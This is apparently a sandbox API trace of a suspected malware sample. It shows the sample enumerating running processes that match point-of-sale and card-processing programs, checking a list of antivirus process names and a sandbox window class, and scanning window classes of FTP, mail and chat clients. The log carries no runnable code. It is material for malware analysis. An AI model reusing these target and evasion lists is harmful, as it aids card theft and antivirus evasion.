lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0275.793] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xed8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0275.814] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xef8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0275.830] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0275.845] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0275.860] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0275.876] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x74c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0275.892] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0275.907] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0275.939] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0275.954] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0275.970] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xc44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0275.985] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xcd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0276.002] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0276.017] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0276.032] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xeb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="nv-ambien-sharp.exe")) returned 1 [0276.048] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="lancaster.exe")) returned 1 [0276.063] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xdb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="eos-says.exe")) returned 1 [0276.079] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xf80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0276.098] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.112] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0276.159] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0276.260] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0276.298] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0276.345] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x119c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0276.392] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SppExtComObj.Exe")) returned 1 [0276.439] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xccc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x194, pcPriClassBase=8, dwFlags=0x0, szExeFile="slui.exe")) returned 1 [0276.486] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xe40, pcPriClassBase=8, dwFlags=0x0, szExeFile="xafpqko.exe")) returned 1 [0276.532] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x10f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xe40, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0276.579] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x10f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0276.626] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xf6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x10f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="PING.EXE")) returned 1 [0276.689] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1348, pcPriClassBase=8, dwFlags=0x0, szExeFile="xafpqko.exe")) returned 1 [0276.735] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1348, pcPriClassBase=8, dwFlags=0x0, szExeFile="xafpqko.exe")) returned 0 [0276.736] CloseHandle (hObject=0x28c) returned 1 [0276.736] lstrlenA (lpString="ccSvcHst.exe") returned 12 [0276.736] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef728 | out: hHeap=0x2670000) returned 1 [0276.736] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef718 | out: hHeap=0x2670000) returned 1 [0276.736] lstrlenA (lpString="avgcsrvx.exe") returned 12 [0276.736] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef770 | out: hHeap=0x2670000) returned 1 [0276.736] lstrlenA (lpString="avgsvcx.exe") returned 11 [0276.736] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef788 | out: hHeap=0x2670000) returned 1 [0276.736] lstrlenA (lpString="avgcsrva.exe") returned 12 [0276.736] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef7a0 | out: hHeap=0x2670000) returned 1 [0276.737] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef700 | out: hHeap=0x2670000) returned 1 [0276.737] lstrlenA (lpString="MsMpEng.exe") returned 11 [0276.737] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef7b8 | out: hHeap=0x2670000) returned 1 [0276.737] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef758 | out: hHeap=0x2670000) returned 1 [0276.737] lstrlenA (lpString="mcshield.exe") returned 12 [0276.737] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef7e0 | out: hHeap=0x2670000) returned 1 [0276.737] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef7d0 | out: hHeap=0x2670000) returned 1 [0276.737] lstrlenA (lpString="avp.exe") returned 7 [0276.737] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef818 | out: hHeap=0x2670000) returned 1 [0276.737] lstrlenA (lpString="kavtray.exe") returned 11 [0276.737] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef828 | out: hHeap=0x2670000) returned 1 [0276.737] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef740 | out: hHeap=0x2670000) returned 1 [0276.737] lstrlenA (lpString="egui.exe") returned 8 [0276.737] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef850 | out: hHeap=0x2670000) returned 1 [0276.737] lstrlenA (lpString="ekrn.exe") returned 8 [0276.737] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef868 | out: hHeap=0x2670000) returned 1 [0276.737] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef840 | out: hHeap=0x2670000) returned 1 [0276.737] lstrlenA (lpString="bdagent.exe") returned 11 [0276.737] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef8b0 | out: hHeap=0x2670000) returned 1 [0276.737] lstrlenA (lpString="vsserv.exe") returned 10 [0276.737] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef8c8 | out: hHeap=0x2670000) returned 1 [0276.737] lstrlenA (lpString="vsservppl.exe") returned 13 [0276.737] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef8e0 | out: hHeap=0x2670000) returned 1 [0276.738] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef7f8 | out: hHeap=0x2670000) returned 1 [0276.738] lstrlenA (lpString="AvastSvc.exe") returned 12 [0276.738] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef8f8 | out: hHeap=0x2670000) returned 1 [0276.738] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef898 | out: hHeap=0x2670000) returned 1 [0276.738] lstrlenA (lpString="coreServiceShell.exe") returned 20 [0276.738] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef948 | out: hHeap=0x2670000) returned 1 [0276.738] lstrlenA (lpString="PccNTMon.exe") returned 12 [0276.738] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef968 | out: hHeap=0x2670000) returned 1 [0276.738] lstrlenA (lpString="NTRTScan.exe") returned 12 [0276.738] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef980 | out: hHeap=0x2670000) returned 1 [0276.738] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef880 | out: hHeap=0x2670000) returned 1 [0276.738] lstrlenA (lpString="SAVAdminService.exe") returned 19 [0276.738] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef9a8 | out: hHeap=0x2670000) returned 1 [0276.738] lstrlenA (lpString="SavService.exe") returned 14 [0276.738] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb70 | out: hHeap=0x2670000) returned 1 [0276.738] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef998 | out: hHeap=0x2670000) returned 1 [0276.738] lstrlenA (lpString="fshoster32.exe") returned 14 [0276.738] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efae0 | out: hHeap=0x2670000) returned 1 [0276.738] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26effd0 | out: hHeap=0x2670000) returned 1 [0276.738] lstrlenA (lpString="WRSA.exe") returned 8 [0276.738] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef9f0 | out: hHeap=0x2670000) returned 1 [0276.738] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef910 | out: hHeap=0x2670000) returned 1 [0276.738] lstrlenA (lpString="vkise.exe") returned 9 [0276.739] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efba0 | out: hHeap=0x2670000) returned 1 [0276.739] lstrlenA (lpString="isesrv.exe") returned 10 [0276.739] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa08 | out: hHeap=0x2670000) returned 1 [0276.739] lstrlenA (lpString="cmdagent.exe") returned 12 [0276.739] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb58 | out: hHeap=0x2670000) returned 1 [0276.739] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb40 | out: hHeap=0x2670000) returned 1 [0276.739] lstrlenA (lpString="ByteFence.exe") returned 13 [0276.739] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa20 | out: hHeap=0x2670000) returned 1 [0276.739] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef920 | out: hHeap=0x2670000) returned 1 [0276.739] lstrlenA (lpString="MBAMService.exe") returned 15 [0276.739] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efac8 | out: hHeap=0x2670000) returned 1 [0276.739] lstrlenA (lpString="mbamgui.exe") returned 11 [0276.739] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb88 | out: hHeap=0x2670000) returned 1 [0276.739] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef930 | out: hHeap=0x2670000) returned 1 [0276.739] lstrlenA (lpString="fmon.exe") returned 8 [0276.739] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa68 | out: hHeap=0x2670000) returned 1 [0276.739] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2676b18 | out: hHeap=0x2670000) returned 1 [0276.739] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x13) returned 0x26ef700 [0276.739] lstrlenA (lpString="snxhk_border_mywnd") returned 18 [0276.739] EnumWindows (lpEnumFunc=0x406934, lParam=0x19ff34) returned 1 [0276.740] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="ForegroundStaging") returned 17 [0276.741] GetClassNameA (in: hWnd=0x10136, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="ForegroundStaging") returned 17 [0276.741] GetClassNameA (in: hWnd=0x100dc, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="tooltips_class32") returned 16 [0276.741] GetClassNameA (in: hWnd=0x100d8, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="tooltips_class32") returned 16 [0276.741] GetClassNameA (in: hWnd=0x100d2, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="tooltips_class32") returned 16 [0276.741] GetClassNameA (in: hWnd=0x100ce, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="tooltips_class32") returned 16 [0276.741] GetClassNameA (in: hWnd=0x100bc, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="tooltips_class32") returned 16 [0276.741] GetClassNameA (in: hWnd=0x100b4, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="tooltips_class32") returned 16 [0276.741] GetClassNameA (in: hWnd=0x100a0, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="tooltips_class32") returned 16 [0276.741] GetClassNameA (in: hWnd=0x200f8, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="tooltips_class32") returned 16 [0276.741] GetClassNameA (in: hWnd=0x100e8, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="tooltips_class32") returned 16 [0276.742] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="tooltips_class32") returned 16 [0276.742] GetClassNameA (in: hWnd=0x10096, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="Shell_TrayWnd") returned 13 [0276.742] GetClassNameA (in: hWnd=0x10220, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="ATL:00007FF9CBC27230") returned 20 [0276.742] GetClassNameA (in: hWnd=0x1010e, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="tooltips_class32") returned 16 [0276.742] GetClassNameA (in: hWnd=0x100fa, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0276.742] GetClassNameA (in: hWnd=0x4036a, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="ConsoleWindowClass") returned 18 [0276.742] GetClassNameA (in: hWnd=0x102f4, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="lancasterwindow") returned 15 [0276.743] GetClassNameA (in: hWnd=0x6003e, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="Eossayswin") returned 10 [0276.743] GetClassNameA (in: hWnd=0x202ec, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="nv_Ambien_Sharp_") returned 16 [0276.743] GetClassNameA (in: hWnd=0x102e8, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="utg2_cls") returned 8 [0276.743] GetClassNameA (in: hWnd=0x202e2, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="spgagentservicewin") returned 18 [0276.743] GetClassNameA (in: hWnd=0x202e0, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="spcwinclass") returned 11 [0276.743] GetClassNameA (in: hWnd=0x102dc, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="omnipos_win") returned 11 [0276.743] GetClassNameA (in: hWnd=0x202d8, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="mxslipstream_app") returned 16 [0276.743] GetClassNameA (in: hWnd=0x202d4, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="isspos_app") returned 10 [0276.743] GetClassNameA (in: hWnd=0x102d0, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="fpos_win") returned 8 [0276.744] GetClassNameA (in: hWnd=0x102cc, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="edcsvrwnd") returned 9 [0276.744] GetClassNameA (in: hWnd=0x102c8, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="creditservicewnd") returned 16 [0276.744] GetClassNameA (in: hWnd=0x102c4, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="centralcreditcardwindow") returned 23 [0276.744] GetClassNameA (in: hWnd=0x102c0, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="ccv_server_") returned 11 [0276.744] GetClassNameA (in: hWnd=0x102bc, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="aldelocls") returned 9 [0276.744] GetClassNameA (in: hWnd=0x102b8, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="afr38_win") returned 9 [0276.744] GetClassNameA (in: hWnd=0x102b4, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="accupos_") returned 8 [0276.744] GetClassNameA (in: hWnd=0x202b0, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="active-charge_win") returned 17 [0276.744] GetClassNameA (in: hWnd=0x102ac, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="yahoomessengercls") returned 17 [0276.744] GetClassNameA (in: hWnd=0x202a8, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="winscp_cls") returned 10 [0276.745] GetClassNameA (in: hWnd=0x202a2, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="whatsappapp") returned 11 [0276.745] GetClassNameA (in: hWnd=0x2029e, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="webdrive") returned 8 [0276.745] GetClassNameA (in: hWnd=0x1029c, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="trillian_app") returned 12 [0276.745] GetClassNameA (in: hWnd=0x20298, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="totalcmdwindow") returned 14 [0276.745] GetClassNameA (in: hWnd=0x20294, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="thunderbirdapp") returned 14 [0276.745] GetClassNameA (in: hWnd=0x10290, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="smartftp_cls") returned 12 [0276.745] GetClassNameA (in: hWnd=0x1028c, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="skype_") returned 6 [0276.745] GetClassNameA (in: hWnd=0x10288, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="scriptftp_win") returned 13 [0276.745] GetClassNameA (in: hWnd=0x10284, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="pidgin") returned 6 [0276.745] GetClassNameA (in: hWnd=0x30280, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="outlookapp") returned 10 [0276.746] GetClassNameA (in: hWnd=0x3027c, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="operamailwindow") returned 15 [0276.746] GetClassNameA (in: hWnd=0x30276, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="notepad_class") returned 13 [0276.746] GetClassNameA (in: hWnd=0x50258, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="ncftp_class") returned 11 [0276.746] GetClassNameA (in: hWnd=0x50266, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="leechftpwnd") returned 11 [0276.746] GetClassNameA (in: hWnd=0x1026c, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="icq_cls") returned 7 [0276.746] GetClassNameA (in: hWnd=0x20260, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="gmailnotifierprocls") returned 19 [0276.746] GetClassNameA (in: hWnd=0x2025a, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="foxmailincmailwindow") returned 20 [0276.746] GetClassNameA (in: hWnd=0x4024c, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="flingclass") returned 10 [0276.746] GetClassNameA (in: hWnd=0x20250, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="flashfxp_app") returned 12 [0276.746] GetClassNameA (in: hWnd=0x30242, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="filezilla_window") returned 16 [0276.747] GetClassNameA (in: hWnd=0x10246, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="farcls") returned 6 [0276.747] GetClassNameA (in: hWnd=0x3023c, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="coreftpclass") returned 12 [0276.747] GetClassNameA (in: hWnd=0x3023a, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="bitkinexcls") returned 11 [0276.747] GetClassNameA (in: hWnd=0x20236, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="barcaapp") returned 8 [0276.747] GetClassNameA (in: hWnd=0x20232, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="alftp_win") returned 9 [0276.747] GetClassNameA (in: hWnd=0x301ee, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="absolutetelnet_cls") returned 18 [0276.747] GetClassNameA (in: hWnd=0x5006c, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="3dftpclass") returned 10 [0276.747] GetClassNameA (in: hWnd=0x30084, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="PhrasesuniqueMemwnd") returned 19 [0276.747] GetClassNameA (in: hWnd=0x30086, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="parkersonicmetallicclass") returned 24 [0276.747] GetClassNameA (in: hWnd=0x3005a, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="Intellectualcleanerwnd") returned 22 [0276.748] GetClassNameA (in: hWnd=0x20058, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="Systems_limitation_window") returned 25 [0276.748] GetClassNameA (in: hWnd=0x2006e, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="Tyler_wnd") returned 9 [0276.748] GetClassNameA (in: hWnd=0x20066, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="cinemaCountwindow") returned 17 [0276.748] GetClassNameA (in: hWnd=0x30056, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="Canvas") returned 6 [0276.748] 